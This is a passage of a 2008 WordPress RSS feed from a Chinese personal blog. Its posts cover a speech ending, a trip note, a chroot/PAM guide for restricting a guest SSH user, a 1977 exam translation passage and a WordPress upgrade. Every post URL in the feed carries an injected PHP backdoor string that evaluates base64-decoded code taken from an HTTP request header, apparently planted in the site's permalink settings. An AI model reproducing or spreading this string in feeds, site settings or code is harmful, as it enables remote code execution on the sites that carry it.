<p>And I call on all Americans, as I have often in this campaign, to not despair of our present difficulties but to believe always in the promise and greatness of America, because nothing is inevitable here.</p>
<p>Americans never quit. We never surrender. We never hide from history, we make history.</p>
<p>Thank you, and God bless you, and God bless America. Thank you all very much.</p>
]]></content:encoded>
			<wfw:commentRss>http://jawley.com/2008/11/05/%e9%ba%a6%e5%87%af%e6%81%a9%e7%9a%84%e8%b4%a5%e9%80%89%e6%bc%94%e8%af%b4/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>简讯 08.10.30</title>
		<link>http://jawley.com/2008/10/30/%e7%ae%80%e8%ae%af-081030/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://jawley.com/2008/10/30/%e7%ae%80%e8%ae%af-081030/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 31 Oct 2008 03:56:51 +0000</pubDate>
		<dc:creator>Jawley</dc:creator>
		
		<category><![CDATA[Blah Blah Blah]]></category>

		<guid isPermaLink="false">http://jawley.com/?p=160</guid>
		<description><![CDATA[订了下周末去华盛顿的机票。考试之余，还可以有一天多的时间好好玩玩。就是心里有点惴惴不安，毕竟第一次孤身一人独闯米国大城市，希望不会走丢。上周末去了Watkins Glen State Park，季节不是很好，叶子掉了很多了。积攒了不少照片没有时间整理，再说吧。
]]></description>
			<content:encoded><![CDATA[<p>订了下周末去华盛顿的机票。考试之余，还可以有一天多的时间好好玩玩。就是心里有点惴惴不安，毕竟第一次孤身一人独闯米国大城市，希望不会走丢。上周末去了Watkins Glen State Park，季节不是很好，叶子掉了很多了。积攒了不少照片没有时间整理，再说吧。</p>
]]></content:encoded>
			<wfw:commentRss>http://jawley.com/2008/10/30/%e7%ae%80%e8%ae%af-081030/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Linux下用chroot和pam限制特定用户</title>
		<link>http://jawley.com/2008/10/23/linux%e4%b8%8b%e7%94%a8chroot%e5%92%8cpam%e9%99%90%e5%88%b6%e7%89%b9%e5%ae%9a%e7%94%a8%e6%88%b7/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://jawley.com/2008/10/23/linux%e4%b8%8b%e7%94%a8chroot%e5%92%8cpam%e9%99%90%e5%88%b6%e7%89%b9%e5%ae%9a%e7%94%a8%e6%88%b7/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 24 Oct 2008 03:42:28 +0000</pubDate>
		<dc:creator>Jawley</dc:creator>
		
		<category><![CDATA[Blah Blah Blah]]></category>

		<guid isPermaLink="false">http://jawley.com/?p=152</guid>
		<description><![CDATA[买了小黑以后，决定把以前的旭日本本扔在实验室24小时开机了。装了ssh可以在家里远程使用，蛮爽。顺便开了个guest账户，想留给别人scp传东西啥的，但是发现安全问题很难解决。想把这个用户限制在某一目录之下，但又不干扰其他用户的正常使用，Linux并没有直接方式可以实现。研究许久之后，终于用chroot和pam搞定。chroot的原理是将某一目录模拟成根目录，使之无法访问目录之外的资源，类似于虚拟机。而pam的作用是针对特定用户，自动执行chroot。记录一下大致步骤。
1、新建guest账户。
2、我用的是Ubuntu 8.04 Desktop，默认没有装libpam-chroot。装之。
sudo apt-get install libpam-chroot
3、把chroot环境搞起来，我设置的是/chroot。
sudo mkdir /chroot
sudo mkdir /chroot/bin
sudo mkdir /chroot/etc
sudo mkdir /chroot/home
sudo mkdir /chroot/lib
sudo mkdir /chroot/usr
等等
4、把需要用到的命令cp过去。
sudo cp /bin/bash /chroot/bin/
sudo cp /bin/ls /chroot/bin/
sudo cp /bin/cp /chroot/bin/
sudo cp /bin/mv /chroot/bin/
sudo cp /bin/rm /chroot/bin/
等等
5、把这些命令用到的库cp过去，这个比较麻烦，用ldd命令可以查到每个命令都需要哪些库，然后一个个cp。嫌麻烦的话可以把整个/lib和/usr/lib都搬过去，然后有些明显没用的再删掉，比如图形界面相关的，剩下100来兆分辨不清楚，就都扔在那里，也还可以忍。
6、建立/chroot/etc/passwd，内容为/etc/passwd里面guest那一行。只要那一行，别的不要。
sudo tail -1 /etc/passwd &#62; /chroot/etc/passwd
7、修改/etc/pam.d/ssh 加一句。
session required pam_chroot.so
8、修改/etc/security/chroot.conf 加一句。
guest /chroot
当然/etc/ssh/sshd_config里面要允许guest远程登录。
然后差不多就可以了，我印象中就这些。想起来再补充吧。
]]></description>
			<content:encoded><![CDATA[<p>买了小黑以后，决定把以前的旭日本本扔在实验室24小时开机了。装了ssh可以在家里远程使用，蛮爽。顺便开了个guest账户，想留给别人scp传东西啥的，但是发现安全问题很难解决。想把这个用户限制在某一目录之下，但又不干扰其他用户的正常使用，Linux并没有直接方式可以实现。研究许久之后，终于用chroot和pam搞定。chroot的原理是将某一目录模拟成根目录，使之无法访问目录之外的资源，类似于虚拟机。而pam的作用是针对特定用户，自动执行chroot。记录一下大致步骤。</p>
<p><span id="more-152"></span>1、新建guest账户。</p>
<p>2、我用的是Ubuntu 8.04 Desktop，默认没有装libpam-chroot。装之。</p>
<blockquote><p>sudo apt-get install libpam-chroot</p></blockquote>
<p>3、把chroot环境搞起来，我设置的是/chroot。</p>
<blockquote><p>sudo mkdir /chroot<br />
sudo mkdir /chroot/bin<br />
sudo mkdir /chroot/etc<br />
sudo mkdir /chroot/home<br />
sudo mkdir /chroot/lib<br />
sudo mkdir /chroot/usr<br />
等等</p></blockquote>
<p>4、把需要用到的命令cp过去。</p>
<blockquote><p>sudo cp /bin/bash /chroot/bin/<br />
sudo cp /bin/ls /chroot/bin/<br />
sudo cp /bin/cp /chroot/bin/<br />
sudo cp /bin/mv /chroot/bin/<br />
sudo cp /bin/rm /chroot/bin/<br />
等等</p></blockquote>
<p>5、把这些命令用到的库cp过去，这个比较麻烦，用ldd命令可以查到每个命令都需要哪些库，然后一个个cp。嫌麻烦的话可以把整个/lib和/usr/lib都搬过去，然后有些明显没用的再删掉，比如图形界面相关的，剩下100来兆分辨不清楚，就都扔在那里，也还可以忍。</p>
<p>6、建立/chroot/etc/passwd，内容为/etc/passwd里面guest那一行。只要那一行，别的不要。</p>
<blockquote><p>sudo tail -1 /etc/passwd &gt; /chroot/etc/passwd</p></blockquote>
<p>7、修改/etc/pam.d/ssh 加一句。</p>
<blockquote><p>session required pam_chroot.so</p></blockquote>
<p>8、修改/etc/security/chroot.conf 加一句。</p>
<blockquote><p>guest /chroot</p></blockquote>
<p>当然/etc/ssh/sshd_config里面要允许guest远程登录。</p>
<p>然后差不多就可以了，我印象中就这些。想起来再补充吧。</p>
]]></content:encoded>
			<wfw:commentRss>http://jawley.com/2008/10/23/linux%e4%b8%8b%e7%94%a8chroot%e5%92%8cpam%e9%99%90%e5%88%b6%e7%89%b9%e5%ae%9a%e7%94%a8%e6%88%b7/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>请将下列短文译成英语</title>
		<link>http://jawley.com/2008/10/17/%e8%af%b7%e5%b0%86%e4%b8%8b%e5%88%97%e7%9f%ad%e6%96%87%e8%af%91%e6%88%90%e8%8b%b1%e8%af%ad/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://jawley.com/2008/10/17/%e8%af%b7%e5%b0%86%e4%b8%8b%e5%88%97%e7%9f%ad%e6%96%87%e8%af%91%e6%88%90%e8%8b%b1%e8%af%ad/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 18 Oct 2008 02:52:06 +0000</pubDate>
		<dc:creator>Jawley</dc:creator>
		
		<category><![CDATA[Blah Blah Blah]]></category>

		<guid isPermaLink="false">http://jawley.com/?p=144</guid>
		<description><![CDATA[我是红星公社的一个新社员。两年前离开城市到农村去插队落户。在贫下中农的帮助下，我提高了政治觉悟，学会了各种农活。今年一月，党支部叫我去当小学教师。从那以后，我一直教语文。我多么热爱我的工作和我的学生啊!
为了达到四个现代化的伟大目标，党号召我们青年人学习科学技术。现在我正在参加大学入学考试。我希望能考上大学。我一定为革命努力学习，争取做到又红又专。如果考不上，就回到农村去，在三大革命运动中更加努力工作。我将为把我们的祖国建设成为一个伟大的、现代化的社会主义强国作出贡献。
来自新浪：恢复高考30周年专题 - 重做当年高考试卷。此为1977年北京市英语试题。惭愧的是，如今改革开放已30年，本人苦学英语也已15载有余，历经大小英语考试无数，至今却仍想不出“又红又专”该如何翻译，想不出“插队落户”该怎么表达。哪位可以教教我？
]]></description>
			<content:encoded><![CDATA[<blockquote><p>我是红星公社的一个新社员。两年前离开城市到农村去插队落户。在贫下中农的帮助下，我提高了政治觉悟，学会了各种农活。今年一月，党支部叫我去当小学教师。从那以后，我一直教语文。我多么热爱我的工作和我的学生啊!</p>
<p>为了达到四个现代化的伟大目标，党号召我们青年人学习科学技术。现在我正在参加大学入学考试。我希望能考上大学。我一定为革命努力学习，争取做到又红又专。如果考不上，就回到农村去，在三大革命运动中更加努力工作。我将为把我们的祖国建设成为一个伟大的、现代化的社会主义强国作出贡献。</p></blockquote>
<p>来自<a href="http://mix.sina.com.cn/news/gaokao/step1.php" target="_blank">新浪：恢复高考30周年专题 - 重做当年高考试卷</a>。此为1977年北京市英语试题。惭愧的是，如今改革开放已30年，本人苦学英语也已15载有余，历经大小英语考试无数，至今却仍想不出“又红又专”该如何翻译，想不出“插队落户”该怎么表达。哪位可以教教我？</p>
]]></content:encoded>
			<wfw:commentRss>http://jawley.com/2008/10/17/%e8%af%b7%e5%b0%86%e4%b8%8b%e5%88%97%e7%9f%ad%e6%96%87%e8%af%91%e6%88%90%e8%8b%b1%e8%af%ad/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>升级到 WP 2.6.2，换了个主题</title>
		<link>http://jawley.com/2008/10/16/%e5%8d%87%e7%ba%a7%e5%88%b0-wp-262%ef%bc%8c%e6%8d%a2%e4%ba%86%e4%b8%aa%e4%b8%bb%e9%a2%98/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://jawley.com/2008/10/16/%e5%8d%87%e7%ba%a7%e5%88%b0-wp-262%ef%bc%8c%e6%8d%a2%e4%ba%86%e4%b8%aa%e4%b8%bb%e9%a2%98/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 16 Oct 2008 21:22:03 +0000</pubDate>
		<dc:creator>Jawley</dc:creator>
		
		<category><![CDATA[About This Blog]]></category>

		<guid isPermaLink="false">http://jawley.com/?p=142</guid>
		<description><![CDATA[升级到2.6.2满简单的，不过也不是readme里面描述的那么轻松。首先要把wp-config.php和wp-content目录备份，自己修改过的程序也要备份，然后覆盖上传，再然后把刚才备份的东西还原回去，最后执行wp-admin/wp-upgrade.php升级。如果没有备份wp-config.php的话，这里要重新填写数据库名、用户名密码、表前缀等等。升级的时候会同时升级数据库，这个可是降不回去的哦。升完以后后台进不去了，参照论坛帖子清了一下cookies搞定。
最近新出的主题质量不错，也终于找到一个让我基本满意的，Atahualpa 2.21 by BFA Webdesign。简洁，高效，字体好看，支持评论头像显示等。暂时就它了。
]]></description>
			<content:encoded><![CDATA[<p>升级到2.6.2满简单的，不过也不是readme里面描述的那么轻松。首先要把wp-config.php和wp-content目录备份，自己修改过的程序也要备份，然后覆盖上传，再然后把刚才备份的东西还原回去，最后执行wp-admin/wp-upgrade.php升级。如果没有备份wp-config.php的话，这里要重新填写数据库名、用户名密码、表前缀等等。升级的时候会同时升级数据库，这个可是降不回去的哦。升完以后后台进不去了，参照论坛帖子清了一下cookies搞定。</p>
<p>最近新出的主题质量不错，也终于找到一个让我基本满意的，<a href="http://wordpress.org/extend/themes/atahualpa#post-189" target="_blank">Atahualpa 2.21</a> by <a href="http://www.bytesforall.com/" target="_blank">BFA Webdesign</a>。简洁，高效，字体好看，支持评论头像显示等。暂时就它了。</p>
]]></content:encoded>
			<wfw:commentRss>http://jawley.com/2008/10/16/%e5%8d%87%e7%ba%a7%e5%88%b0-wp-262%ef%bc%8c%e6%8d%a2%e4%ba%86%e4%b8%aa%e4%b8%bb%e9%a2%98/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
